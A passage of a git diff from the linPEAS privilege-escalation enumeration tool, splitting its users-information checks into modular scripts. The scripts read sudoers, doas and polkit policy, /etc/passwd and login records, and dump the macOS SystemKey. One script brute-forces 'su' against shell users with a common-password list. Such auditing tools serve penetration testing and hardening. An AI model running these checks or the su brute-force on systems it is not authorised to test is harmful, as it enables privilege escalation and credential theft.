-ob 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED}," - echo "Highlighted text: "$(xsel -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED}," - elif [ "$(command -v pbpaste 2>/dev/null)" ]; then - echo "Clipboard: "$(pbpaste) | sed -${E} "s,$pwd_inside_history,${SED_RED}," - else echo_not_found "xsel and xclip" - fi - echo "" -fi - -#-- UI) Sudo -l -print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d" -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" -(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo" -if [ "$PASSWORD" ]; then - (echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo" -fi -( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers" -if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then - echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW}," -fi -for filename in /etc/sudoers.d/*; do - if [ -r "$filename" ]; then - echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g" - grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" - fi -done -echo "" - -#-- UI) Sudo tokens -print_2title "Checking sudo tokens" -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens" -ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" -if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then - echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g"; - - if [ "$(command -v gdb 2>/dev/null)" ]; then - echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g"; - fi - - if [ "$CURRENT_USER_PIVOT_PID" ]; then - echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g"; - fi - - if [ -f "$HOME/.sudo_as_admin_successful" ]; then - echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},"; - fi - - if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then - echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g"; - ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' - fi - -else - echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g"; - -fi -echo "" - -#-- UI) Doas -if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then - print_2title "Checking doas.conf" - doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null) - if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then - cat /etc/doas.conf "$doas_dir_name/doas.conf" "$doas_dir_name/../etc/doas.conf" "$doas_dir_name/etc/doas.conf" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_RED}," | sed "s,root,${SED_RED}," | sed "s,nopass,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," - else echo_not_found "doas.conf" - fi - echo "" -fi - -#-- UI) Pkexec policy -print_2title "Checking Pkexec policy" -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2" -(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d" -echo "" - -#-- UI) Superusers -print_2title "Superusers" -awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED_YELLOW}," | sed "s,root,${SED_RED}," -echo "" - -#-- UI) Users with console -print_2title "Users with console" -if [ "$MACPEAS" ]; then - dscl . list /Users | while read uname; do - ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2) - if grep -q "$ushell" /etc/shells; then #Shell user - dscl . -read "/Users/$uname" UserShell RealName RecordName Password NFSHomeDirectory 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," - echo "" - fi - done -else - no_shells=$(grep -Ev "sh$" /etc/passwd 2>/dev/null | cut -d ':' -f 7 | sort | uniq) - unexpected_shells="" - printf "%s\n" "$no_shells" | while read f; do - if $f -c 'whoami' 2>/dev/null | grep -q "$USER"; then - unexpected_shells="$f\n$unexpected_shells" - fi - done - grep "sh$" /etc/passwd 2>/dev/null | sort | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," - if [ "$unexpected_shells" ]; then - printf "%s" "These unexpected binaries are acting like shells:\n$unexpected_shells" | sed -${E} "s,/.*,${SED_RED},g" - echo "Unexpected users with shells:" - printf "%s\n" "$unexpected_shells" | while read f; do - if [ "$f" ]; then - grep -E "${f}$" /etc/passwd | sed -${E} "s,/.*,${SED_RED},g" - fi - done - fi -fi -echo "" - -#-- UI) All users & groups -print_2title "All users & groups" -if [ "$MACPEAS" ]; then - dscl . list /Users | while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" -else - cut -d":" -f1 /etc/passwd 2>/dev/null| while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" -fi -echo "" - -#-- UI) Login now -print_2title "Login now" -(w || who || finger || users) 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," -echo "" - -#-- UI) Last logons -print_2title "Last logons" -(last -Faiw || last) 2>/dev/null | tail | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_RED}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," -echo "" - -#-- UI) Login info -print_2title "Last time logon each user" -lastlog 2>/dev/null | grep -v "Never" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," - -EXISTS_FINGER="$(command -v finger 2>/dev/null)" -if [ "$MACPEAS" ] && [ "$EXISTS_FINGER" ]; then - dscl . list /Users | while read uname; do - ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2) - if grep -q "$ushell" /etc/shells; then #Shell user - finger "$uname" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," - echo "" - fi - done -fi -echo "" - -#-- UI) Password policy -if [ "$EXTRA_CHECKS" ]; then - print_2title "Password policy" - grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null || echo_not_found "/etc/login.defs" - echo "" - - if [ "$MACPEAS" ]; then - print_2title "Relevant last user info and user configs" - defaults read /Library/Preferences/com.apple.loginwindow.plist 2>/dev/null - echo "" - - print_2title "Guest user status" - sysadminctl -afpGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN}," - sysadminctl -guestAccount status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN}," - sysadminctl -smbGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN}," - echo "" - fi -fi - -#-- UI) Brute su -if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then - print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC - POSSIBE_SU_BRUTE=$(check_if_su_brute); - if [ "$POSSIBE_SU_BRUTE" ]; then - SHELLUSERS=$(cat /etc/passwd 2>/dev/null | grep -i "sh$" | cut -d ":" -f 1) - printf "%s\n" "$SHELLUSERS" | while read u; do - echo " Bruteforcing user $u..." - su_brute_user_num "$u" $PASSTRY - done - else - printf $GREEN"It's not possible to brute-force su.\n\n"$NC - fi -else - print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC -fi -print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC diff --git a/linPEAS/builder/linpeas_parts/6_users_information/10_Pkexec.sh b/linPEAS/builder/linpeas_parts/6_users_information/10_Pkexec.sh new file mode 100644 index 0000000..e7d93e6 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/10_Pkexec.sh @@ -0,0 +1,19 @@ +# Title: Users Information - Pkexec +# ID: UG_Pkexec +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check Pkexec policy +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $Groups, $groupsB, $groupsVB,$nosh_usrs, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Checking Pkexec policy" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2" +(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d" +echo "" diff --git a/linPEAS/builder/linpeas_parts/6_users_information/11_Superusers.sh b/linPEAS/builder/linpeas_parts/6_users_information/11_Superusers.sh new file mode 100644 index 0000000..ddf79ec --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/11_Superusers.sh @@ -0,0 +1,18 @@ +# Title: Users Information - Superusers +# ID: UG_Superusers +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Superusers +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables:$knw_usrs ,$nosh_usrs,$sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Superusers" +awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED_YELLOW}," | sed "s,root,${SED_RED}," +echo "" diff --git a/linPEAS/builder/linpeas_parts/6_users_information/12_Users_with_console.sh b/linPEAS/builder/linpeas_parts/6_users_information/12_Users_with_console.sh new file mode 100644 index 0000000..753c56f --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/12_Users_with_console.sh @@ -0,0 +1,44 @@ +# Title: Users Information - Users with console +# ID: UG_Users_with_console +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Users with console +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $MACPEAS, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: $ushell, $no_shells, $unexpected_shells +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Users with console" +if [ "$MACPEAS" ]; then + dscl . list /Users | while read un; do + ushell=$(dscl . -read "/Users/$un" UserShell | cut -d " " -f2) + if grep -q "$ushell" /etc/shells; then #Shell user + dscl . -read "/Users/$un" UserShell RealName RecordName Password NFSHomeDirectory 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + echo "" + fi + done +else + no_shells=$(grep -Ev "sh$" /etc/passwd 2>/dev/null | cut -d ':' -f 7 | sort | uniq) + unexpected_shells="" + printf "%s\n" "$no_shells" | while read f; do + if $f -c 'whoami' 2>/dev/null | grep -q "$USER"; then + unexpected_shells="$f\n$unexpected_shells" + fi + done + grep "sh$" /etc/passwd 2>/dev/null | sort | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + if [ "$unexpected_shells" ]; then + printf "%s" "These unexpected binaries are acting like shells:\n$unexpected_shells" | sed -${E} "s,/.*,${SED_RED},g" + echo "Unexpected users with shells:" + printf "%s\n" "$unexpected_shells" | while read f; do + if [ "$f" ]; then + grep -E "${f}$" /etc/passwd | sed -${E} "s,/.*,${SED_RED},g" + fi + done + fi +fi +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/6_users_information/13_Users_groups.sh b/linPEAS/builder/linpeas_parts/6_users_information/13_Users_groups.sh new file mode 100644 index 0000000..7088bf5 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/13_Users_groups.sh @@ -0,0 +1,22 @@ +# Title: Users Information - Users & groups +# ID: UG_Users_groups +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get all users & groups +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $groupsB, $groupsVB, $knw_grps, $knw_usrs, $MACPEAS, $nosh_usrs, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "All users & groups" +if [ "$MACPEAS" ]; then + dscl . list /Users | while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" +else + cut -d":" -f1 /etc/passwd 2>/dev/null| while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" +fi +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/6_users_information/14_Login_now.sh b/linPEAS/builder/linpeas_parts/6_users_information/14_Login_now.sh new file mode 100644 index 0000000..ec91f30 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/14_Login_now.sh @@ -0,0 +1,18 @@ +# Title: Users Information - Login now +# ID: UG_Login_now +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Login now +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $knw_usrs, $nosh_usrs, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Login now" +(w || who || finger || users) 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/6_users_information/15_Last_logons.sh b/linPEAS/builder/linpeas_parts/6_users_information/15_Last_logons.sh new file mode 100644 index 0000000..b5e5bf4 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/15_Last_logons.sh @@ -0,0 +1,18 @@ +# Title: Users Information - Last logons +# ID: UG_Last_logons +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Last logons +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $knw_usrs, $nosh_usrs, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +print_2title "Last logons" +(last -Faiw || last) 2>/dev/null | tail | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_RED}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," +echo "" diff --git a/linPEAS/builder/linpeas_parts/6_users_information/16_Login_info.sh b/linPEAS/builder/linpeas_parts/6_users_information/16_Login_info.sh new file mode 100644 index 0000000..2f4aa26 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/16_Login_info.sh @@ -0,0 +1,29 @@ +# Title: Users Information - Login info +# ID: UG_Login_info +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Last time logon each user +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $knw_usrs, $MACPEAS, $nosh_usrs, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: EXISTS_FINGER, ushell +# Fat linpeas: 0 +# Small linpeas: 0 + + +print_2title "Last time logon each user" +lastlog 2>/dev/null | grep -v "Never" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + +EXISTS_FINGER="$(command -v finger 2>/dev/null || echo -n '')" +if [ "$MACPEAS" ] && [ "$EXISTS_FINGER" ]; then + dscl . list /Users | while read un; do + ushell=$(dscl . -read "/Users/$un" UserShell | cut -d " " -f2) + if grep -q "$ushell" /etc/shells; then #Shell user + finger "$un" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + echo "" + fi + done +fi +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/6_users_information/17_Password_policy.sh b/linPEAS/builder/linpeas_parts/6_users_information/17_Password_policy.sh new file mode 100644 index 0000000..9a3b69e --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/17_Password_policy.sh @@ -0,0 +1,32 @@ +# Title: Users Information - Password policy +# ID: UG_Password_policy +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get assword policy +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: $EXTRA_CHECKS, $MACPEAS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$EXTRA_CHECKS" ]; then + print_2title "Password policy" + grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null || echo_not_found "/etc/login.defs" + echo "" + + if [ "$MACPEAS" ]; then + print_2title "Relevant last user info and user configs" + defaults read /Library/Preferences/com.apple.loginwindow.plist 2>/dev/null + echo "" + + print_2title "Guest user status" + sysadminctl -afpGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN}," + sysadminctl -guestAccount status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN}," + sysadminctl -smbGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN}," + echo "" + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/6_users_information/18_Brute_su.sh b/linPEAS/builder/linpeas_parts/6_users_information/18_Brute_su.sh new file mode 100644 index 0000000..c2a0229 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/18_Brute_su.sh @@ -0,0 +1,31 @@ +# Title: Users Information - Brute su +# ID: UG_Brute_su +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Brute su +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_if_su_brute, print_2title, su_brute_user_num +# Global Variables: $IAMROOT, $PASSTRY, $TIMEOUT +# Initial Functions: +# Generated Global Variables: $SHELLUSERS, $POSSIBE_SU_BRUTE +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then + print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC + POSSIBE_SU_BRUTE=$(check_if_su_brute); + if [ "$POSSIBE_SU_BRUTE" ]; then + SHELLUSERS=$(cat /etc/passwd 2>/dev/null | grep -i "sh$" | cut -d ":" -f 1) + printf "%s\n" "$SHELLUSERS" | while read u; do + echo " Bruteforcing user $u..." + su_brute_user_num "$u" $PASSTRY + done + else + printf $GREEN"It's not possible to brute-force su.\n\n"$NC + fi +else + print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC +fi +print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/6_users_information/1_Macos_my_user_hooks.sh b/linPEAS/builder/linpeas_parts/6_users_information/1_Macos_my_user_hooks.sh new file mode 100644 index 0000000..63c2290 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/1_Macos_my_user_hooks.sh @@ -0,0 +1,20 @@ +# Title: Users Information - MacOS my user hooks +# ID: UG_Macos_my_user_hooks +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get current user Login and Logout hooks +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $HOME, $MACPEAS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$MACPEAS" ];then + print_2title "Current user Login and Logout hooks" + defaults read $HOME/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook" + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/6_users_information/1_My_user.sh b/linPEAS/builder/linpeas_parts/6_users_information/1_My_user.sh new file mode 100644 index 0000000..daaca58 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/1_My_user.sh @@ -0,0 +1,19 @@ +# Title: Users Information - My User +# ID: UG_My_user +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: My User +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $groupsB, $groupsVB, $idB, $knw_grps , $knw_usrs, $nosh_usrs,$sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "My user" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users" +(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/6_users_information/2_Macos_user_hooks.sh b/linPEAS/builder/linpeas_parts/6_users_information/2_Macos_user_hooks.sh new file mode 100644 index 0000000..d13b897 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/2_Macos_user_hooks.sh @@ -0,0 +1,22 @@ +# Title: Users Information - MacOS user hooks +# ID: UG_Macos_user_hooks +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Enumerate all users login and logout hooks +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $MACPEAS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$MACPEAS" ];then + print_2title "All Login and Logout hooks" + defaults read /Users/*/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook" + defaults read /private/var/root/Library/Preferences/com.apple.loginwindow.plist + echo "" + +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/6_users_information/3_Macos_keychains.sh b/linPEAS/builder/linpeas_parts/6_users_information/3_Macos_keychains.sh new file mode 100644 index 0000000..359e962 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/3_Macos_keychains.sh @@ -0,0 +1,21 @@ +# Title: Users Information - Macos systemKey +# ID: UG_Macos_keychains +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get macOS systemKey +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $MACPEAS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$MACPEAS" ];then + print_2title "Keychains" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#chainbreaker" + security list-keychains + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/6_users_information/4_Macos_systemkey.sh b/linPEAS/builder/linpeas_parts/6_users_information/4_Macos_systemkey.sh new file mode 100644 index 0000000..006fe88 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/4_Macos_systemkey.sh @@ -0,0 +1,24 @@ +# Title: Users Information - Macos systemKey +# ID: UG_Macos_systemkey +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get macOS systemKey +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $MACPEAS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$MACPEAS" ];then + print_2title "SystemKey" + ls -l /var/db/SystemKey + if [ -r "/var/db/SystemKey" ]; then + echo "You can read /var/db/SystemKey" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey | sed -${E} "s,.*,${SED_RED_YELLOW},"; + fi + echo "" +fi \ No newline at end of file diff 